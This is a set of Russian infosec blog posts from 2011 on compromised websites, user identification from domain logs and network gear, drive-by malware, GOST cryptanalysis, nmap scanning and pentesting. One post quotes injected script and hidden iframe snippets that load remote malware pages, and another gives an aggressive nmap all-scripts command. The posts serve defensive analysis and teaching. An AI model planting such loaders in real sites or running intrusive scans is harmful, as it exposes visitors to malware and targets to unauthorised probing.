Среди таких известных и в то же время уже разломанных сайтов, с хостящимся эксплоитом - URA.RU. При заходе на сайт приятно видеть, что мой домашний Касперский не спит (думаю, любой из вас может это увидеть):

Здорово, правда? В целом, гордится не чем.

Однако, вполне себе приличная и известная Компания, специализирующаяся как раз на обеспечении информационной безопасности на своем сайте среди уважаемых клиентов с гордостью перечисляет:
Илья, если вы читаете, пожалуйста, помогите клиенту.

Размещать известных клиентов на своем сайте - общая практика. А ведь так просто этим же себе и навредить....

Я ни в коем случае не хотел бы в этом посте задеть чьи-либо интересы, нет. Я очередной раз задумался о том, что любая палка имеет как минимум два конца и, порой, преследуя одно, мы получаем совсем другое. Опыт показывает, что захачить можно практически любой сайт и совсем не значит, что его писали плохие разработчики и администрят плохие админы: слова "плохой" и "хороший" - относительны, а любая консалтинговая компания стремится обозначить своих клиентов, тем самым немного добавив в копилку мнения прохожего о качестве своих услуг.

Может, разве что, ссылки не давать со своего сайта, оставив одни логотипы :)

Определяем кто это

noreply@blogger.com (Sergey Soldatov) — Mon, 31 Oct 2011 13:22:00 +0000

В продолжение некоторых повествований о Tool-ах напишу об одном из методов определения личности из IP-адреса (или MAC-адреса, или порта коммутатора) в управлеяемой сети. Здесь я не буду выписывать конкретные скрипты, но если на то будет потребность, куда-нибудь их выложу.

Под "управляемой" я понимаю сеть, где используется какой-то корпоаративный каталог и предприняты меры, чтобы все пользователи в этом каталоге как минимум аутентифицировались. В данной статье в роли каталога будет MS ActiveDirectory.

Соответствие IP-адрес (крайне актуально при использовании DHCP!) логину в домен можно взять из события входа в домен.
Для Windows 2003 - это event ID 540, для Windows 2008 - 4624.

Выгружуть логи входа в домен можно прямо в базу MSSQL logparser-ом, например, вот так:
logparser "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,UNN,'|') AS UserName, EXTRACT_TOKEN(Strings,SNAN,'|') AS SourceNetworkAddress, EXTRACT_TOKEN(Strings,APN,'|') AS AuthenticationPackage INTO TABLENAME FROM \\SERVERNAME\Security WHERE EventID=EVENT AND TimeGenerated > SUB( SYSTEM_TIMESTAMP(), TIMESTAMP('2', 'd') ) AND UserName NOT IN ('';'ANONYMOUS LOGON';'OTHER YOU DONT NEED') AND SourceNetworkAddress <> '-' AND UserName NOT LIKE '%\$' GROUP BY TimeGenerated, UserName, SourceNetworkAddress, AuthenticationPackage " -i:EVT -o:SQL -server:DBSERVER -database:DBNAME -ignoreIdCols:ON -transactionRowCount:1000 -iCheckpoint:CPFILE

Здесь EVENT соответствующий EventID, SERVERNAME - сервер с которого забирать логи (контроллер домена), TABLENAME - имя таблицы куда положить, DBSERVER - сервер базы, где лежит TABLENAME, DBNAME - имя базы данных на сервер DBSERVER, CPFILE - файл контрольной точки (см помощь по logparser-у)
При этом отфильтровываются все "не люди", типа ANONYMOUS LOGON или Что-то$ (является компьютером).

Команда EXTRACT_TOKEN извлекает из переменной Strings токены (разделенные | ) с соотвествующими номерами (фактически, это место того или иного значения в переменной Strings). Чтобы было понятно, покажу как выглядит поле Strings:
S-1-0-0|-|-|0x0|S-1-5-21-2470146651-3958396388-2989495117-22222222|wgates|WINDOMAIN|0x1d4bdaa0|3|Kerberos|Kerberos||{65E49E5E-ABDF-AA83-C373-B27A1ED589E7}|-|-|0|0x0|-|1.1.1.1|3325

Для разных Windows на разных местах стоят различные параметры события. Нам нужны:
UserName
SourceNetworkAddress
AuthenticationPackage

Соотвествующие им номера токенов в приведенной выше команде:
UNN - место в Strings для значения UserName
SNAN - для SourceNetworkAddress
APN - для AuthenticationPackage

Соотвествующие значения для 2003:
UNN => 0,
SNAN => 13,
APN => 5,

Для 2008:
UNN => 5,
SNAN => 18,
APN => 10,

Чтобы подставить правильный EventID, нужно узнать какая версия ОС на SERVERNAME. Это тоже можно сделать logparser-ом, так как последний умеет читать и из реестра:
logparser "SELECT Value FROM '\\SERVERNAME\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' WHERE ValueName = 'ProductName' " -i:REG -o:NAT -headers:OFF -recurse:0 -q:ON
Для 2003 будет возвращено:
Microsoft Windows Server 2003
Для 2008 что-нибудь вроде:
Windows Server 2008 R2 Enterprise

Еще немаловажно, как бы это странно не звучало, найти все контроллеры домена. Тут нам поможет штатная команда Windows:
netdom query /D:DOMAINNAME DC
Она вернет список NetBIOS-имен контроллеров домена, которые затем нужно подставлять вместо SERVERNAME в указанные выше команды.

Итак, из таблицы TABLENAME мы можем получить связку IP - ADLogin.

Далее, связку IP - MAC можно получить с маршрутизатора.
Для маршрутизатора Cisco команда такая:
show ip arp
Если используется VRF (скорее всего да, поскольку это уже общепринятая практика), соответственно:
show ip arp vrf VRFNAME

Поскольку MAC, как правило, в обычных условиях не меняют, можно сказать, что компьютер уникально идентифицировали.

В целом, можно воспользоваться DNS-именем, оно тоже нечасто меняется. Хотя, для рабочих станций пользователей ситуация может и меняться.

Последнее, хочется установить коммутатор и номер порта, где этот пользователь располагается. Эту информмацию можно взять с коммутатора. Команды:
Для IOS-а:
show mac-address-table dyn
Для CatOS-а:
sh cam dynamic

Команды вернут связку VLAN-MAC-PORT, название коммутатора, соответственно, - где эту команду вызывали.

Проблема здесь только в том, что надо отфильтровать транки. Какие порты транковые можно узнать так:
для CatOS:
show trunk
Для IOS:
show interface status

Подведем итог:
IP-ADLogin - берем из контролера домена, события входа в домен
IP-MAC - берем с маршрутизатора
VLAN-MAC-PORT-SWITCH - берем с коммутатора.

Если есть какая-либо база разводки СКС, то PORT-SWITCH можно преобразовать в непосредственное метопололжение в офисе. В целом, все что нужно.

Применения.
Приведу лишь некоторые, активно используемые в практике.
1. Определение физического местоположения злоумышленника.
2. Отслеживание перемещений сотрудников по рабочим местам, офисам.
3. Фиксация прихода на работу по событию 'interface up/down' коммутатора. Событие содержит номер порта, который можно преобразовать в Login.
4. Поиск всех компьютеров, на которых логинился в домен пользователь.
....

Разработчик ПО - безопасник

noreply@blogger.com (Sergey Soldatov) — Thu, 27 Oct 2011 04:11:00 +0000

Давно я уже не работаю программистом и вопросами как это делается сейчас "в промышленых" масштабах не интересуюсь, но, может, кому покажется полезной идея, изложенная здесь.

Все пограммные продукты, которые я когд-либо разрабатывал в конечном итоге были мною и спроектированы. Конечно, я тоже читал умные книжки о том, что надо сначала все спланировать, продумать алгоритм, нарисовать все схемки, предусмотреть все мелочи .... и только потом брать какую-нибудь SDE и кодировать. Но, я никогда не программировал с промышленных масштабах, в крупных командах, и в, конечном итоге, сам себе был и архитектор и реализатор. Думаю, что, тем не менее, я не в меньшинстве: всегда есть начальство, которое дает высокоуровневую задачу, реализацию которой от начала до конца следует продумать нам, подчиненным.

Из опыта (возможно плохого и неправильного с т.з. высокой науки планирования программных решений) могу сказать, что на момент начала кодирования далеко не все мелочи продуманы и даже некоторые запланированные фрагменты основного алгоритма по ходу реализации могут значительно изменяться. Причин таких изменений "по ходу реализации" может быть великое множество и я бы не хотел их тут подробно разбирать, может быть, когда-нибудь потом. Когда такие изменения некуда эскалировать, я сам и разработчик, и архитектор, и главный идейный генератор, я уже перехожу в разряд "творцов" и программирование для меня из механики (буквально перевод на язык программирования == переводчик) в что-то вроде, не побоюсь этого, творчества (== художник, писатель). Очевидно, что при тврочестве у меня уже нет возможности (да и я сам не рекомендовал бы распыляться!) мне уже некогда обращать внимание на правильность и точность механических действий (приведу не очень удачный пример: когда я увлеченно говорю на неродном для себя языке, я допускаю грамматические ошибки, поскольку я не могу в момент увлеченности жестко контролировать технику механики, собственно, речи: грамматику, произношение и т.п. Пример не очень удачен, ввиду того, что если я имею достаточно большую практику, я буду механически говорить правильно не напрягаясь. Но такая "привычка делать правильно" не может развиться при кодировании). Т.е. когда я творю, я, скорее всего, не думаю о безопасности моего кода, я концентрируюсь на функционале. Как следствие, я не проверяю входные параметры (поскольку такие проверки, при отсутствии стандартных функций сильно напрягают мозг), я не использую "безопасные" варианты функций и много чего еще не делаю, что надо бы, но не хочется отвлекаться, чтобы не потерять мысль.

Решением данной проблемы мне видится появление (а может уже где есть) специального класса "программистов-безопасников", которые потом будут вычитывать исходные коды за "творцами" и исправлять потенциально небезопасные реализации. Этот процесс, как мне кажется, можно достаточно хорошо поставить на поток, поскольку есть масса матерала о том, как надо писать на том или ином языке, и как не надо. Можно все эти "рекомендации" собрать, систематизировать и использовать. Можно даже что-то проверять, наверно, автоматизированными средствами, которые смогут выискивать потенциально небезопасные конструкции.

Из экономических соображений (еще один безопасник!), хочется программиста-безопасника интегрировать в обычного программиста, а всю творческую составляющую полность от него отнять. Мой (сразу скажу - небольшой) опыт показывает что полностью это сделать не получится. Обилие уязвимостей, связанных именно с программной реализацией: все виды переполнения буфера, всякие инъекции, всевозможные кросс-сайт штуки и т.п. показывает, что обзр исходников на безопасность если и производится, то крайне плохо.

Еще один возможный камень в огород моего предложения - не будет решена проблема архитектурных уязвимостей. Но, кто будет спорить с необходимостью привлечения безопасности на всех этапах SDLC!? Мой (на сей раз уже значительный) опыт участия в проектах в качестве того самого безопасника-эксперта показывает, что не только в разных проектах нужен безопасник разной специализации (думаю, это очевидно, не буду объяснять), но и на разных этапах нужен также профессионал в соответствующей области. А слово "профессионал" в моем, возможно, извращенном представлении, никак не ассоциируется с уточнением "широкого профиля" - нельзя быть профессионалом во всем.

Напомню, что здесь на ваш суд я обозначил потребность в программисте-безопаснике. Традиционно, любые мысли приветствуются.

Безопасность Web-приложений со стороны пользователя

noreply@blogger.com (Sergey Soldatov) — Thu, 20 Oct 2011 04:06:00 +0000

Опыт анализа логов IDS и web-прокси только по одной компании полностью подтверждает написанное. Вообще, у меня сложилось впечатление, что:
1. Хостеры, сайтописатели и службы безопасности интернет-представительств либо плохо работают, либо вовсе не следят за своими сайтами. Первое время мы оповещали владельцев сайтов, что их сайт взломан и на нем хостится "что-то", что потом залетает к нашим пользователям, посещающим их сайт. После нескольких, достаточно веселых переписок, напоминающих легенду о вымирании динозавров (их тело было настолько большим, а нервная система настолько несовершенна, что нервный импульс от хвоста до мозга доходил несколько минут), я посчитал это занятие малоэффективным.
2. В Интернет существует просто громаднейшее количество сайтов, которые так или иначе скомпрометированы. Даже если сайт имеет Имя, совсем не значит, что он не может хостить "что-то", чего вы бы не хотели получить. К этому надо быть готовым.

К сожалению, никто кроме нас нам не поможет.

Как это выглядит? Приведу лишь словесное описание и один пример (, как это выглядит в лолгах.
На страничку сайта как-то попадает ссылка на "нехороший" сайт, который хостит PDF, Java-апплет или Flash-ролик. Внутри PDF - JavaScript, который уже закачивает, возможно, с другого "нехорошего" сайта бинарник, представляющий собой зловред. Наш печальный опыт показывает, что подавляющее большинство этих зловредов не ловятся практически никаким антивирусом (использовали virustotal). Понятно, что антивирусы умирают, но жалко как-то: крутится на компе, поедает его ресурсы, а эффекта мало :-(

В логах прокси:
1.1.1.1 - "MSAD\BGates" [12/Oct/2011:06:10:06 +0400] "GET http://l65.in/stats8888/buble.php?key=rtgddfg%26u=root HTTP/1.0" 200 627 281 275 344 "http://<скрыто из этических соображений>/daily/25768/2753033/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)" "-" - "text/html" "default" 0.258 "-" TCP_MISS

Первая ссылка - куда пошел пользователь, вторая - Referrer - позволят предполагать откуда.
Не надо пытаться разрешить сайт l65.in, по нашей статистике живут такие сайты не более месяца, в большинстве случаев - несколько дней.

На страничке сайта "Скрыто из этических соображений" это выглядит примерно так:
<script>
var rnd = Math.round(Math.random() * 100000);
document.write("<"+"if"+"rame src="+"http://{куда-то далеко}.in/if"+"rame.php?r="+rnd+"&id=8 width=100% height=975 marginwidth=0 marginheight=0 scrolling=no frameborder=0>");</script>

или совсем просто:

<iframe src="http://<тоже не близко>.in/wea54/06.php" height="0" width="0"></iframe>

Можно, пройти по этим iframe и покачать бинарники, попостить их на www.virustotal.com, от чего настроение ухудшится ибо хочется верить в эффективность моего антивируса.

Скажу сразу, что не все, что мы тут выкачивали из этих iframe-ов было зловредом. Такая же "технология" используется для интернет рекламы, сбора статистики посещений и раскрутки сайтов через счетчики посещений (заходя на сайт "скрыто из этических соображений" пользователи невольно заходят еще куда-то что фиксируется всякими трейсерами и кликосчетчиками). Вообще, зловред загружается со специального хостящего сайта, что создает широкое поле для фантазии админа сайта хостящего зловреды. В целом, могу предположить, что этим можно и неплохо зарабатывать.

Что же делать?

Безусловно, надо людям помогать, писать письма в сайты, что у них поселилось что-то. Но опыт показывает, что трудозатрат эти переписки стоят, а эффекта никакого: после нашей переписки с "скрыто из этических соображений" (известный сайт новостей) "что-то" было-таки удалено, но вскоре (на следующий день) появилось снова. Надо надеяться на себя. Что планируется предпринять:

1. Ужесточить загрузку бинарников из Интернет: загружать могут только кому надо, только откуда можно, только что нужно.
2. Если пользователь имеет мощные права (тем более админ домена, админ серверов критичных, хелпдеск с правами админа на всех десктопах и пр) - никакого интернет.. Отключить JavaScript в Acrobat-е. Можно через интерфейс - найти несложно, можно через реестр (предпочтительно, если операцию следует проделать, скажем, на 15 000 компьютеров):
HKCU\Software\Adobe\Adobe Acrobat\10.0\JSPrefs\bEnableJS = 0
4. Отключить все ненужные плагины в браузере. Вам нужно, чтобы документ Adobe показывался прямо из IE или Mozilla-ы? Мне это крайне неудобно.
5. Стараться ставить все обновления на Flash, Java, Adobe, Office.
6. Подумать об использование персональной HIPS или использовать сетевую IPS в активном режиме. Если антивирусы мертвы, то почему IPS - нет? Не знаю, но опыт показывает, что в конкретных сетевых атаках IPS достаточно эффективна. Смею предположить, что это связано с тем, что у IPS история короче и они не имеют еще многомегабайтных баз, а также с тем, что IPS фиксирует метод атаки, а антивирус конкретный контент (payload). Все-таки методов атак пока меньше, чем вариантов передаваемого зловреда. Последнее в защиту IPS: да, она шумит кучей событий, но опытному глазу этот шум помогает, а не мешает. Может, использование нейросетей и/или AI в антивирусах когда-нибудь станет реальностью и он будет так же эффективен сам собой, как (шумная IDS + опытный глаз), но пока счет не в их пользу. В целом, идея коллективной безопасности (или "безопасности из облаков") тут может быть эффективно, но тут диалектическая проблема: Зла уже столько, что перечислять его все уже менее эффективно, чем перечислять Добро.
7 (самое радикальное). Перейти на системы белого списка. Это как антивирус, только на оборот: они, в отличие от антивируса, который блокирует все Зло, - не блокируют Добро, но блокируют все остальное. Системы типа LAC или SolidCore и т.п. помогут.

Если у кого будет что добавить к написанному, буду крайне признателен.

ЗЫ: я тут вот писал этот пост, вставлял фрагменты с iframe, потом нажал Publish Post и начал его смотреть. Смотрю, а все мои iframe-ы из примеров выполнились и пытаются показать свои src. Да, блоги еще то зло - даже ломать ничего не надо!

моя полиция меня бережет

noreply@blogger.com (Igor Gots) — Tue, 18 Oct 2011 18:31:00 +0000

Так случилось, что 6 дней назад в конторе у знакомого со счета было украдено почти 600т.р. через программу клиент-банк. По несчастливой случайности, в момент кражи на компьютере удаленно работал аутсорсер. Но, к счастью, спустя незначительное время после перевода денег, директор запросил остатки на счету, тут то пропажа и выплыла.

Контора знакомого выполняет следующие действия:

1. комиссионно опечатывает компьютер, на котором стоял клиент-банк, запирает компьютер в сейф.

2. пишет заявление в полицию о попытке кражи

3. пишет заявление в банк, о с просьбой провести проверку

Аутсорсер:

1. фиксирует все журналы работы

2. бекапит телефонные переговоры в момент обслуживания

Ждем доблесную полицию. Ничего не трогаем, хотя руки чешутся посмотреть компьютер.

У полици есть 3 дня на рассмотрение заявления. В особых случаях, заявление рассматривается до 10 дней. У нас особый случай. Ждем....

Сегодня выясняется, коли кражи денег не случилось и средства вернулись счастливому хозяину, в возбуждении дела скорее всего будет отказано. Обидно. Государство дает шанс гадам попытаться украсть деньги еще раз.

Звоним в банк - ребяты, мы ваши клиенты, давайте поищем гадов вместе! В ответ слышим - ваше заявление отправлено в головной офис на рассмотрение. Ждите ответа. Опять обидно. Не смотря на то, что у банка есть возможность уберечь своих клиентов от жуликов, банк предпочитает соблюсти все внутренние бюрократические процедуры.

Ждем истечения 10ти рабочих дней и вскрываем пломбы...

Кстати о банке - это сбербанк.

Первая рекомендация - ставьте смс-информирование на движение денег по счету.

Пенсионный фонд, накопления там и ПДн

noreply@blogger.com (Sergey Soldatov) — Fri, 02 Sep 2011 19:05:00 +0000

Ровно такая же история случилась с одной моей знакомой, только не там где-то, а здесь, в Московской области. Только в нашей истории не было известно кто что подделал и как какие данные утекли. Моя знакомая также получила извещение типа: "Поздравляем вас с переводом пенсионных сбережений куда-то".
Моя знакомая не поленилась, направилась в местный орган "по работе с клиентами" пенсионного фонда РФ. Где ей "вежливые" женщины сообщили, что ее данные "утекли", что позволило злоумышленникам перевести ее пенсионные сбережения. Причем, сказано это было с таким спокойствием, как-будто это абсолютно обычная ситуация. "Ну и что же делать?", - спросила моя знакомая. "Ну, вы можете обратиться в милицию...", - ответили "вежливые" женщины....

Вообще, я в шоке, был изначально, но сейчас начинаю понимать, что к ряду вещей следует начинать относиться как к обыденности. Сначала мы удивлялись и возмущались тому, что пенсионный фонд ежегодно воруют, сейчас, если мы и обращаем внимание на эти новости, то лишь улыбаемся. Пенсионный фонд сейчас уже не более чем кормушка чинуш, бесцелевой налог, акциз. Я уверен, что если я и доживу до пенсии, несмотря на то, что я всю жизнь туда исправно перечисляю далеко некислые деньги (которых бы с запасом хватило, чтобы прокормить моих родителей-пенсионеров, но, как и все российские пенсионеры, они получают пенсию, которая ниже прожиточного минимума), после 60 лет я обречен волочить нищенское существование. Можно пытаться возразить, что работающих мало, а пенсионеров много и на всех не хватает.... Вот лично я почему-то в это не верю, так как очевидно, что:
1. далеко не все в РФ доживают до пенсии, не так уж и много их.
2. если я перечисляю в пенсионный фонд такие сбережения (я себя считаю низшей границей среднего класса), то что говорить о людях, получающих белую зарплату в 10 раз большую чем я? В 20 раз? Да таких отчислений хватит, чтобы содержать не один райцентр Саратовской области.
3. я не помню ни одного года, когда бы не стало известным, что в очередной раз своровали пенсионный фон. Складывается впечатление, что его только и делают, что воруют, а мы, традиционно, видим только вершину айсберга.
4. а что же наши сопрограммы? О них тоже гремит слава постоянных хищений...

В общем, денег должно хватать, с пороками бороться надо.

Ну а что же моя знакомая? Ну конечно она не пошла в милицию выяснять как пенсионный фонд "не защитил" ее персональные данные и почему ему 152-ФЗ по барабану. Она, как и я, не верит в Пенсионный фонд, в то, что от него к нашей с ней пенсии что-нибудь останется, что его когда-нибудь перестанут воровать, что чинуши действительно начнут развиваться духовно, а не показательно креститься перед телекамерами в дни православных праздников, что жить мы будем в старости лучше наших родителей.... жаль....

эффективность против порядка

noreply@blogger.com (Igor Gots) — Fri, 26 Aug 2011 16:50:00 +0000

Вы отвечаете за защиту периферии в компании. Написали множество регламентов, просматриваете журналы, проводите занятия и тп.

В компании стоит... ну скажем 1000 компьютеров, мышками которых возит 1000 сотрудников. Для ремонта мышек и их подключения, в компании создана служба технической поддержки из нескольких сотрудников.

У сотрудника возникают проблемы с мышкой во момент Х.

Так как мышки ломаются не чаще раза в 2 года, сотрудник втечение Х1 единиц времени думает, как решить проблему, стучит мышкой по столу, смотрит в красный глаз, курит, снова стучит и наконец, в соответствии с регламентом, звонит на телефон 22232232 (читать с выражением) и сообщает о сути проблемы.

Телефонная сотрудница регистрирует заявку в "электронной системе электронных заявок" которая электронно, по электронной почте сообщает сотрудникам технической поддержки о возникновении проблемы.

Через время Х2 сотрудник технической поддержки обращает внимание на сообщение и откладывает его в пачку сообщений, которые предполагают поход в одно крыло здания.

Спустя Х3 единиц времени он выходит в направлении неисправной мышки и спустя Х4 единиц, он ситуацию исправляет.

Итого, на устранение неисправности ушло Х1+Х2+Х3+Х4 единиц времени. В реальной жизни это время составляет от пары часов до пары дней. Все это время сотрудник сидит и полукоматозном состоянии изучает символы на клавиатуре, сообщая руководству о невозможности исполнения служебных обязанностей.

И вот находится человек, который умеет ремонтировать мышки! Но так как он двигает мышь удивительно быстро и эффективно, руководство не может использовать его как техническую поддержку, получая большую отдачу от него как от двигателя мыши.

Наступает момент Х, мышь у этого человека ломается! Или он регулярно находит способы сделать мышь лучше и быстрее! Или еще хуже, он делает заявки и получает форсированные мыши 1го, затем 2го и, наконец ,7го поколения с азотным ускорителем.

В первый раз он звонит на волшебный номер и ждет в течение Х2+Х3+Х4 человека, которому компания доверила техническое обслуживание мышей. Но начальство нервничает, ведь оно привыкло видеть отдачу от сотрудника.

Во второй раз и третий недовольство руководства растет....

На четвертый раз наш волшебный сотрудник рассуждая "ведь моя Компания платит мне заработную плату и я не в праве сидеть, сложа руки, в то время, когда от меня ждут новых и четких движений мышью" принимает решение "я могу и я должен сам исправить проблемы мыши моего компьютера".

О, ужас! Он не звонит в техническую поддержку, он не ловит системотехника в коридоре за руку! Он.... Как трудно сдержать гнев! Он нарушает стандарт утвержденный руководителем компании! Он, он... Он сам переподключил мышь! Коллеги в шоке, но они понимают - все это во благо компании!

А радары службы безопасности не зря потребляют электроны один за другим. Они сигнализируют красными лампами и зуммерами о нарушении, маркируя нарушителя несмываемой краской!

И вот комиссия из 3-х сотрудников сметая все на своем пути мчится к месту проступка. Нарушение будет задокументировано, нарушитель брошен в казематы, руководство уведомлено о нарушении и высокой степени эффективности новых красных ламп приобретенных взамен старых зеленых.

Вроде все хорошо:

Нарушитель пойман и наказан
Лампы сработали
Системотехники не будут мучаться с нестандартными мышами и их труд по замене стандартных девайсов будет проще и дешевле
Служба безопасности получает медали и премии
Руководство спит спокойно, зная, что компания в теплых и сильных руках службы безопасности.
Выпущена молния, в которой описана темная дорога нарушителя, а так же условия его нынешнего содержания.

Но откуда-то появляется кисловатый привкус:

Средняя эффективность использования мышей упала
Сотрудники стараются не отклоняться от утвержденных траекторий движения
Сломанных мышей начинают бояться и на всякий случай отправляют в неоплачиваемый отпуск их пользователей.

Разностный криптоанализ ГОСТ 28148-89

noreply@blogger.com (Sergey Soldatov) — Tue, 02 Aug 2011 05:16:00 +0000

Узучая тему решил почитать другие труды Куртуа. Недолгие поиски (в статье о "взломе" ГОСТ есть ссылка) навели на данную публикацию.
Первые несколько глав посвещены общей информации о ГОСТ, его истории. Таким образом, читать можно начинать с главы 4. Далее идут сведения о разностном криптоанализе сокращенного ГОСТ из 16 и 20 раундов, известные и ранее.
Основной вывод представлен на странице 20, в конце главы 8.3. Из него следует, что для успешного взлома 32-раундного ГОСТа по схеме KPA с вероятностью 50% необходимо 2^64 пар шифртекст/открытый текст и сложность такого взлома будет 2^226. Более того, статья так написана, что даже этот вывод далеко не очевиден, но "компенсируется" многократными утверждениями, что этот вопрос будет прорабатываться/исследоваться в будущем.

В целом, за ГОСТ я спокоен, данный труд, как и прежде, не имеет практического применения.

Может, это информационная война? Кого с кем?

Yandex планирует оповещать администраторов сайтов об утечках данных

noreply@blogger.com (Sergey Soldatov) — Sat, 30 Jul 2011 05:45:00 +0000

Любопытное заявление... а еще Яндекс может всех сканировать каким-нибудь Web-сканером безопасности и сообщать им всем об обнаруженных уязвимостях (только аккуратно, чтобы это не сильно отклонялось от работы кравлера-индексатора). В двух режимах:

бесплатно
за сервис

Также Яндекс позднее сможет войти на рынок решений DLP, если его распознавание ПДн будет успешным (а оно будет успешным, RUNET — тестовая площадка!).

Я только что-то не понимаю, как это будет трактоваться с т.з. ФЗ-152. Может Яндексу сразу в Роскомнадзор сообщать: "...нарушен закон об обеспечивании безопасности ПДн, данные скомпрометированы, вот доказательства..." или Яндекс, наоборот, будет не сообщать регуляторам, а тайно помогать операторам ПДн обеспечивать их безопасность. Первое поведение — не этично по отношению к операторам ПДн, второе — по отношению к субъектам ПДн. Что же делать ??

О государственной безопасности

noreply@blogger.com (Sergey Soldatov) — Fri, 29 Jul 2011 21:45:00 +0000

При таком раскладе есть два варианта развития событий.
1. высокоморальный человек уйдет работать "на рынок".
2. свинья (или человек, которого просто не воспитывали), назависимо от интеллекта (хотя, хочется верить, что уровень интеллекта хотя бы как-то коррелирует с пониманием об этике), будет размножать коррупцию.

При первом варианте мы получим отсутствие людей на этих позициях в принципе, либо непрофессионалов. Поскольку это не так (все-таки там кто-то работает и квалификация какая-то есть), делаем весьма нехороший вывод, который меня, как патриота, угнетает...

В общем, мы имеем то, что имеем :-((

ГОСТ 28147-89 НЕ взломан, пока...

noreply@blogger.com (Sergey Soldatov) — Wed, 27 Jul 2011 05:33:00 +0000

Не писал бы, но, видимо, надо. После ряда публикаций в весьма авторитетных источниках даже среди своего небольшого отдела стал наблюдать какую-то истерию, хотя, на мой взгляд ничего не изменилось. Попробую изложить факты
1. Я не видел в открытом доступе ни одного нормального доказательства утверждений Куртуа. Исследование Таканори Исоби, доступно только в виде презентации на FSE 2011 из которой мало что понятно. Попытки найти что-нибудь об "Algebraic Complexity Reduction" (ссылка [12] в статье Куртуа) закончились неуспешно (если у кого есть что, пожалуйста, комментарьте!), за исключением вот этого (собственно, из самой статьи):
"The main idea is as follows: In order to reduce the attack complexity, we
exploit the self-similarity of the cipher and add some well-chosen assumptions
which produce interesting and sometimes quite non-trivial consequences due to
the high-level structural properties of the cipher, which makes cryptanalysis
problems smaller, simpler and easier to solve." В целом, стандартный подход для любого криптоанализа, только, как следствие, подобный метод будет работать только при строго определенных условиях (на ключах с определенными зависимостями, или на специальных открытых текстах или и то и другое, или "специальные" S-блоки и т.п.), что крайне ограниченно может применяться на практике (но, тем не менее, полезно для академической науки).
2. Сама статья Куртуа больше похожа на научно-популярный труд типа Прикладная криптография, (не упущу заметить, что книжка Шнаера - очень хорошая и я всем рекомендую ее почитать), где излагается общая структура ГОСТа, его история и прочее на уровне Википидии. SecLab предложил практически дословный ее перевод. Из нее ничего не следует, кроме голословных утверждений.
3. Размер блока ГОСТа - 64 бита. Если мы знаем 2^64 пар открытый текст - шифртекст - это и есть все, что нам нужно знать :-) Это - полный перебор, нам ключ не нужен, так как у нас есть все возможные открытые тексты и соответствующие (биективно!) им шифртексты.
4. На практике атаку KPA, накопив 2^64 (да и 2^32, как требует Исоби) пар открытый текст - шифртекст, невозможно, так как сессионный ключ меняется ЗНАЧИТЕЛЬНО чаще.
5. Все показанные успешные компрометации ГОСТа крутятся около 8-раундной "модификации", тогда как в оригинальной реализации из 32 (!). То, что ГОСТ обладает плохими диффузионными свойствами и это компенсируется количество раундов - давно известно, здесь как раз это и эксплуатируется.
6. Отдельно про презентацию Исоби хочется отметить, что даже когда вы-таки сподобились и как-то насобирали 2^32 пар шифртекстов и открытых текстов (C/P), сложность атаки остается 2^225 (См. слайд "Result" его презентации). У меня проблема, я не могу с ходу понять что мне, как взломщику, проще: выполнить обычный перебор из 1 пары C/P и сложностью 2^256 или наловить 2^32 C/P, провести с этим какие-то шаманства "Reflection Meet-In-The-Middle" (R-MITM) и отбрутофорсить выделенные этим шаманством "Surviving Key Space", причем общая сложность будет 2^225, что, в общем-то не сильно отличается от 2^256.... Думайте сами.

Итого: Тяжело оценить вклад Куртуа/Исоби в практику компрометации ГОСТа (в основном, очень мало информации - может, в этом и секрет, что секрета просто нет :-)) => не стоит делать поспешных выводов и, тем более, тратить нервную систему.

nmap подумает за нас

noreply@blogger.com (Igor Gots) — Fri, 22 Jul 2011 07:20:00 +0000

Достаточно давно в сканере портов nmap ввели функционал скриптов, которые выполняют высокоуровневые проверки в процессе сканирования портов. Многие не используют данную замечательную возможность, так как считают, что при этом нужно знать названия скриптов.
В случае готовности отступить на шаг назад и не требовать от nmap'а детального анализа, можно выполнять сканирование в режиме "проверить все". При этом оставаясь script-kiddie мы чувствуем себя like hacker.
Если для Вас не важно, как будут чувствовать себя сервисы в аудируемом сегменте сканируйте следующей командой:
nmap -A -PN --script=all --reason
Если же Вам жаль проверяемого и Вы хотите исключить потенциально опасные скрипты:
nmap -A -PN --script=default --reason
или
nmap -A -PN -sC --reason
Есть еще варианты, но стоит ли засорять ими мозг? Разом ударить из всех орудий - что может быть проще и громче?!

Антивирус мертв?

noreply@blogger.com (Sergey Soldatov) — Thu, 23 Jun 2011 10:07:00 +0000

Ну и кто после подобного опровергнет утверждение: "Антивирус мертв"?!
В любом случае, наверное, следует согласиться с Шнаером что он лучше, чем его отсутствие.

Защищаться от пентестера?

noreply@blogger.com (Sergey Soldatov) — Thu, 23 Jun 2011 09:01:00 +0000

Идеологически неправильная статья! Не пойму, зачем мне мешать пентестеру, тянуть его время и пр., - он же на меня работает!
Понятно, что на его месте может быть реальный злоумышленник, и пока он сражается с моими honeypot-ами, я его обнаружу IDS-ами, но так и надо же писать. А то: "мы будем мешать пентестеру", мы тут не в кошки-мышки играем!

Нужен ли Вам пентест после внедрения?

noreply@blogger.com (Sergey Soldatov) — Sun, 08 May 2011 18:31:00 +0000

Совсем немного времени прошло с момента публикации о доверии пентестеру. В двух словах, тогда я пытался показать, что провести оценку качества работы пентестера крайне сложно, а, следовательно, весьма затруднительно судить об эффективности (как “effectiveness”, так и “efficiency”) такой работы, что, в конечном итоге, сводит к нулю возможность проведения всяких cost/benefit анализов. Сейчас я попытаюсь порассуждать вообще на тему необходимости проведения аудита в режиме теста на проникновение в сравнении с т.н. Анализом защищенности.

Сначала разберемся с терминологией. Здесь под «тестом на проникновение» я понимаю аудит, в рамках которого производится попытка имитации действий вероятного злоумышленника с целью получения неавторизованного доступа. Принципиально здесь то, что а) сведения о конфигурации системы у аудитора ограничены (в реальной жизни зачастую – это blackbox-тестирование), б) аудитор пытается эксплуатировать выявленную уязвимость, довести ее до проникновения.

